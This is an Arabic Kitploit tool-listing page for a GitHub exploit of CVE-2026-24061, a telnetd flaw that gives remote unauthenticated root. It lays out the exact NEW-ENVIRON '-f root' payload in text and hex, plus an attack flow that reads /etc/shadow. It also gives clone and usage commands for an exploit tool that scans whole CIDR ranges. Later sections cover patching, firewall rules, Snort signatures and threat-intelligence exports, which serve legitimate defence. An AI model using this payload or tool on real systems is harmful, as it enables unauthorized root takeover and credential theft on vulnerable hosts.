Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-24061 — GNU InetUtils telnetd - وصول جذر عن بُعد غير مصادق عبر حقن متغير NEW-ENVIRON. | Kitploit
أدوات/GitHubGitHub/franckferman/cve-2026-24061
ماسحات الثغرات الأمنيةالاستغلالأمن الشبكاتاختبار الاختراقاستخبارات التهديداتالمصادقةالتعلم والتعليمالفريق الأحمر
GitHubfranckferman/cve-2026-24061

CVE-2026-24061

GNU InetUtils telnetd - وصول جذر عن بُعد غير مصادق عبر حقن متغير NEW-ENVIRON.

عرض المستودع
4منذ 5 أشهرلم تتم المراجعة بعد
الموقع الإلكتروني

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE Score License Python No deps

GNU InetUtils telnetd - وصول جذر عن بُعد غير مصادق عبر حقن متغير NEW-ENVIRON

نظرة عامة - تحليل تقني - الإصدارات المتأثرة - الاستخدام - المعالجة والتخفيف - المراجع


نظرة عامة على الثغرة

CVE-2026-24061 هي ثغرة حرجة في تجاوز المصادقة في خدمة telnetd الموزعة كجزء من GNU InetUtils. يكمن الخلل في معالجة خيار Telnet NEW-ENVIRON (RFC 1572) أثناء المصافحة الأولية للبروتوكول.

السبب الجذري هو الفشل في تنقية متغيرات البيئة المقدمة من العميل قبل تمريرها إلى برنامج login(1). عندما يستقبل خادم Telnet حزمة تفاوض فرعي تحتوي على المتغير بقيمة ، فإنه يمرر هذه القيمة غير المنقاة مباشرة إلى ثنائي في النظام.

NEW-ENVIRON IS
USER
-f root
login

على الأنظمة التي يقبل فيها login علامة -f (فرض تسجيل الدخول دون التحقق من كلمة المرور)، ينتج عن ذلك منح جلسة جذر غير مصادقة للمهاجم عن بُعد.

لهذه الفئة من الثغرات سابقة تاريخية: CVE-2001-0797 في SysV telnetd وثغرة تجاوز -f المعروفة في Linux telnetd عام 1994 استغلتا نفس الفشل الأساسي في تنقية الوسائط المستمدة من البيئة والممررة إلى البرامج المميزة.

لا حاجة لأي بيانات اعتماد. لا حاجة لأي وصول مسبق. تسلسل واحد من حزم الشبكة يحقق صلاحيات الجذر.

التحليل التقني

السبب الجذري

يعالج GNU InetUtils telnetd التفاوض الفرعي NEW-ENVIRON (رمز الخيار 0x27، وفقًا لـ RFC 1572) لجمع متغيرات البيئة المقدمة من العميل. يتم تجميع هذه المتغيرات في متجه وسائط وتمريرها إلى execve(2) عند استدعاء login(1).

يتم تشغيل الثغرة على النحو التالي:

  1. يرسل الخادم IAC DO NEW-ENVIRON، طالبًا متغيرات البيئة من العميل.
  2. يرد العميل الخبيث بـ IAC WILL NEW-ENVIRON.
  3. يتابع الخادم بـ IAC SB NEW-ENVIRON SEND IAC SE.
  4. يرسل العميل الحمولة المحقونة:
root@kitploit:~
IAC SB NEW-ENVIRON IS
  VAR "USER" VALUE "-f root"
IAC SE
  1. يقوم telnetd ببناء استدعاء login كـ login -f root.
  2. يفسر login(1) علامة -f على أنها "فرض تسجيل الدخول، تخطي المصادقة" ويسجل دخول المستخدم المحدد (root) دون طلب كلمة مرور.

تحليل على مستوى البروتوكول

الخطوةالاتجاهبايتات Telnet (hex)المعنى
1S -> CFF FD 27IAC DO NEW-ENVIRON
2C -> SFF FB 27IAC WILL NEW-ENVIRON
3S -> CFF FA 27 01 FF F0IAC SB NEW-ENVIRON SEND IAC SE
4C -> SFF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE

لماذا تعمل -f root

يقبل ثنائي login(1) على العديد من أنظمة Linux علامة -f <user> لتسجيلات الدخول "المصادق عليها مسبقًا"، المستخدمة تاريخيًا بواسطة أدوات تعدد المحطات الطرفية وrlogin. عندما يبني telnetd استدعاء exec الخاص به ويفشل في إزالة الشرطات البادئة أو التحقق من السلاسل الشبيهة بالخيارات في قيم متغيرات البيئة، فإنه يمرر عن غير قصد علامات يتحكم فيها المهاجم مباشرة إلى login.

يصبح الاستدعاء الفعلي:

root@kitploit:~
execve("/bin/login", ["login", "-f", "root"], envp);

سيناريو الهجوم

root@kitploit:~
Attacker                                    Vulnerable telnetd (port 23)
   |                                                   |
   |------- TCP SYN (port 23) ----------------------->|
   |<------ TCP SYN-ACK -------------------------------|
   |------- TCP ACK ---------------------------------->|
   |                                                   |
   |<------ Telnet banner + IAC DO NEW-ENVIRON --------|
   |------- IAC WILL NEW-ENVIRON --------------------->|
   |<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
   |                                                   |
   |------- IAC SB NEW-ENVIRON IS                      |
   |        VAR "USER" VALUE "-f root" IAC SE -------->|
   |                                                   |
   |        [telnetd calls: login -f root]             |
   |                                                   |
   |<------ Root shell prompt (#) ---------------------|
   |                                                   |
   |------- id; whoami; cat /etc/shadow -------------->|
   |<------ uid=0(root) root /etc/shadow contents -----|

المتطلبات الأساسية:

  • نظام هدف يعمل بـ GNU InetUtils telnetd (منفذ TCP/23 مفتوح)
  • إصدار غير مصحح من inetutils
  • ثنائي login(1) يدعم علامة -f (قياسي في معظم توزيعات Linux)
  • لا يوجد جدار حماية يحظر TCP/23

الإصدارات المتأثرة

البرنامجالإصدارات المتأثرةالحالة
GNU InetUtils telnetd<= 2.x (الإصدار المصحح المحدد سيُعلن لاحقًا)ضعيف
التوزيعات التي تشحن GNU inetutils غير مصححمتعددراجع نشرة البائع

تحقق مما إذا كانت توزيعتك تشحن إصدارًا مصححًا. العديد من الأنظمة الحديثة لديها Telnet معطل افتراضيًا؛ يتطلب التعرض تشغيل telnetd بشكل صريح.

درجة CVSS

المقياسالقيمة
درجة CVSS v3.1 الأساسية9.8 (حرجة)
متجه الهجومشبكة
تعقيد الهجوممنخفض
الصلاحيات المطلوبةلا شيء
تفاعل المستخدملا شيء
النطاقغير متغير
تأثير السريةعالي
تأثير السلامةعالي
تأثير التوفرعالي
سلسلة المتجهCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

تعيين MITRE ATT&CK

معرف ATT&CKالتكتيكالتقنيةالصلة
T1190الوصول الأولياستغلال تطبيق مواجه للعاماستغلال مباشر لـ telnetd عبر الشبكة
T1059التنفيذمترجم الأوامر والبرمجة النصيةتنفيذ الصدفة بعد الاستغلال
T1078.004تصعيد الصلاحيات / مراوغة الدفاعحسابات صالحة: حسابات محليةتجاوز المصادقة ينتج جلسة جذر صالحة
T1548تصعيد الصلاحياتإساءة استخدام آلية التحكم في الارتقاءإساءة استخدام علامة login -f لتجاوز PAM/المصادقة
T1046الاكتشافاكتشاف خدمات الشبكةمكون المسح الجماعي في الإثبات البرهاني

التثبيت

المتطلبات: Python 3 (المكتبة القياسية فقط، صفر تبعيات خارجية).

root@kitploit:~
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061

لا حاجة لـ pip install. يستخدم كلا السكربتين مكتبة Python القياسية فقط.

هيكل المشروع

root@kitploit:~
poc_cve_2026_24061.py       # إثبات برهاني بسيط (~100 سطر) - فهم الثغرة
cve_2026_24061.py           # استغلال صناعي - متعدد الخيوط، CIDR، تصدير CSV/JSON
scripts/
  generate_signatures.py    # توليد تلقائي لقواعد Snort/Suricata + Sigma من الحمولة
  generate_misp_event.py    # توليد حدث JSON قابل للاستيراد في MISP
  generate_stix_bundle.py   # توليد حزمة STIX 2.1 (MISP, OpenCTI, TAXII)
signatures/
  snort.rules               # قواعد كشف Snort/Suricata (مولدة تلقائيًا)
  sigma.yml                 # قاعدة Sigma لنظام SIEM (مولدة تلقائيًا)
indicators/
  misp_event.json           # حدث MISP - استيراد عبر Events > Add Event > Import
  stix_bundle.json          # حزمة STIX 2.1 - 11 كائنًا (vuln, indicator, ATT&CK, CoA)
  • poc_cve_2026_24061.py: الحد الأدنى، قابل للقراءة، تعليمي. هدف واحد، دالة واحدة، صفر تجريد. اقرأ هذا لفهم كيفية عمل الثغرة بالضبط على مستوى البروتوكول.
  • cve_2026_24061.py: استغلال صناعي لمهام اختبار الاختراق. متعدد الخيوط، يدعم نطاقات CIDR، إدخال ملفات، تصدير CSV/JSON، وضع هادئ، مستخدمين مخصصين.

الاستخدام

إثبات برهاني بسيط (poc_cve_2026_24061.py)

استغلال مضيف واحد. الكود بسيط عمدًا بحيث يمكنك قراءته من البداية إلى النهاية وفهم سلسلة الهجوم الكاملة.

root@kitploit:~
# الاستخدام الأساسي
python3 poc_cve_2026_24061.py 192.168.1.100

# منفذ مخصص
python3 poc_cve_2026_24061.py 10.0.0.5 2323

استغلال صناعي (cve_2026_24061.py)

مضيف واحد

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.100

نطاق CIDR (مسح جماعي)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50

إدخال ملف

root@kitploit:~
python3 cve_2026_24061.py -f targets.txt -o results.csv

تصدير JSON

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json

مستخدم هدف مخصص

root@kitploit:~
python3 cve_2026_24061.py -t 192.168.1.1 --user admin

الوضع الهادئ (مناسب للأنابيب)

root@kitploit:~
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt

الخيارات الكاملة

المعاملالافتراضيالوصف
-t / --target-IP واحد، اسم مضيف، أو نطاق CIDR
-f / --file-ملف يحتوي على IPs/CIDRs (واحد لكل سطر، تعليقات #)
-T / --threads10عدد الخيوط المتزامنة
-p / --port23منفذ Telnet الهدف
--timeout5مهلة المقبس بالثواني
--userrootاسم المستخدم لحمولة -f
-o / --output-تصدير النتائج إلى ملف CSV
--json-تصدير النتائج إلى ملف JSON
-q / --quietoffالوضع الهادئ: طباعة الأهداف الضعيفة فقط (واحد لكل سطر)
--no-coloroffتعطيل إخراج ألوان ANSI

حالات الإخراج

الحالةالمعنى
[VULN]المضيف مؤكد الضعف - تم الحصول على صدفة جذر
[SAFE]المضيف استجاب لكن المصادقة لم يتم تجاوزها
[CLOS]المنفذ مغلق أو تم رفض الاتصال
[ERR ]خطأ مقبس أو بروتوكول أثناء المسح

أعمدة إخراج CSV: ip:port, status, message

سلوك الإثبات البرهاني

ينفذ السكربت آلة الحالة الكاملة لتفاوض Telnet NEW-ENVIRON أصليًا في Python دون الاعتماد على مكتبات Telnet خارجية:

  1. يفتح مقبس TCP خام للهدف على المنفذ 23 (قابل للتكوين).
  2. يقرأ تسلسلات أوامر IAC الواردة ويستجيب لـ DO NEW-ENVIRON بـ WILL NEW-ENVIRON.
  3. عند استلام تفاوض الخادم الفرعي SB NEW-ENVIRON SEND، يرسل الحمولة المحقونة (USER = "-f root").
  4. يراقب مخزن الاستجابة بحثًا عن مؤشرات نجاح تسجيل دخول الجذر: وجود uid=0(root) أو موجه صدفة (#)، في غياب Login incorrect أو Password:.
  5. إذا تم حقن الحمولة، يرسل id\n ويتحقق من وجود uid=0(root) في الاستجابة كتأكيد ثانوي.

يتم تسجيل النتائج إلى stdout مع تسميات حالة ملونة. التصدير الاختياري CSV يسجل جميع النتائج للمعالجة اللاحقة.

المعالجة والتخفيف

إجراءات فورية

  1. عطّل Telnet تمامًا. ينقل Telnet جميع البيانات كنص واضح. استبدله بـ SSH.

    root@kitploit:~
    sudo systemctl disable telnet.socket --now
    sudo systemctl disable inetd --now
    
  2. طبق تصحيح البائع. ثبّت الإصدار المصحح من inetutils من توزيعتك بمجرد توفره.

  3. احظر TCP/23 على الحدود. طبق قواعد جدار الحماية لرفض اتصالات Telnet الواردة.

    root@kitploit:~
    # iptables
    sudo iptables -A INPUT -p tcp --dport 23 -j DROP
    # nftables
    sudo nft add rule inet filter input tcp dport 23 drop
    

الدفاع في العمق

التحكمالوصف
تقسيم الشبكةقصر Telnet على شبكات إدارة معزولة إذا تعذر تعطيله
تقوية PAMراجع تكوين PAM؛ عطّل المصادقة المسبقة -f حيث لا تكون مطلوبة بواسطة login.defs
توقيعات IDS/IPSكشف أنماط NEW-ENVIRON IS VAR USER VALUE -f في حركة Telnet
تسجيل التدقيقراقب auth.log / secure بحثًا عن تسجيلات دخول جذر غير متوقعة عبر login
فحص الثغراتنفذ فحوصات مصادقة (OpenVAS, Nessus) لتحديد inetutils غير المصحح

الكشف (SIEM/IDS)

هيكل قاعدة Snort/Suricata لكشف الاستغلال أثناء النقل:

root@kitploit:~
alert tcp any any -> any 23 (
  msg:"CVE-2026-24061 telnetd USER=-f root exploit attempt";
  content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
  sid:2026240610; rev:1;
)

استخبارات التهديدات

يشحن هذا المستودع قطعًا أثرية جاهزة لاستخبارات التهديدات، جاهزة للاستيراد إلى بيئة SOC/CTI الخاصة بك. يتم توليدها تلقائيًا بواسطة CI من حمولة الاستغلال الفعلية - إذا تغيرت الحمولة، تتحدث القطع الأثرية.

MISP

استورد indicators/misp_event.json مباشرة إلى أي مثيل MISP:

root@kitploit:~
Events > Add Event > Import from... > JSON

يحتوي الحدث على: معرف CVE، متجه CVSS، توقيع Snort، حمولة hex، علامات MITRE ATT&CK (T1190, T1548, T1059)، CPE، ومراجع خارجية.

STIX 2.1

استورد indicators/stix_bundle.json إلى OpenCTI أو خوادم TAXII أو أي مستهلك STIX 2.1.

تحتوي الحزمة على 11 كائنًا: ثغرة، مؤشر (نمط شبكة)، 3 أنماط هجوم (MITRE)، مسار عمل (معالجة)، هوية، وعلاقات تربطها.

توقيعات IDS

قواعد مبنية مسبقًا في signatures/:

  • snort.rules - 3 قواعد Snort/Suricata (محاولة استغلال، حقن عام -f، صدفة جذر بعد الاستغلال)
  • sigma.yml - قاعدة Sigma لربط SIEM

إعادة التوليد

إذا قمت بتعديل حمولة الاستغلال، أعد توليد جميع القطع الأثرية:

root@kitploit:~
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py

المراجع: MISP - OpenCTI - STIX 2.1 - Sigma

المراجع

  • مستودع GNU InetUtils الرسمي
  • RFC 1572 - خيار بيئة Telnet (NEW-ENVIRON)
  • RFC 854 - مواصفات بروتوكول Telnet
  • CVE-2001-0797 - تجاوز SysV telnetd التاريخي -f (سابقة)
  • MITRE ATT&CK - T1190: استغلال تطبيق مواجه للعام
  • MITRE ATT&CK - T1548: إساءة استخدام آلية التحكم في الارتقاء
  • مشروع MISP
  • صفحة دليل Linux login(1)

إخلاء المسؤولية القانوني

هذه الأداة مقدمة لأغراض التدقيق الأمني المصرح به والبحث الأكاديمي والتعليم فقط. الاستخدام ضد أنظمة دون إذن كتابي صريح من مالك النظام غير قانوني بموجب قوانين الاحتيال وإساءة استخدام الحاسوب المعمول بها (بما في ذلك على سبيل المثال لا الحصر CFAA وقانون إساءة استخدام الحاسوب والتشريعات المكافئة). لا يتحمل المؤلف أي مسؤولية عن الاستخدام غير المصرح به أو الخبيث.

تنزيل الأداة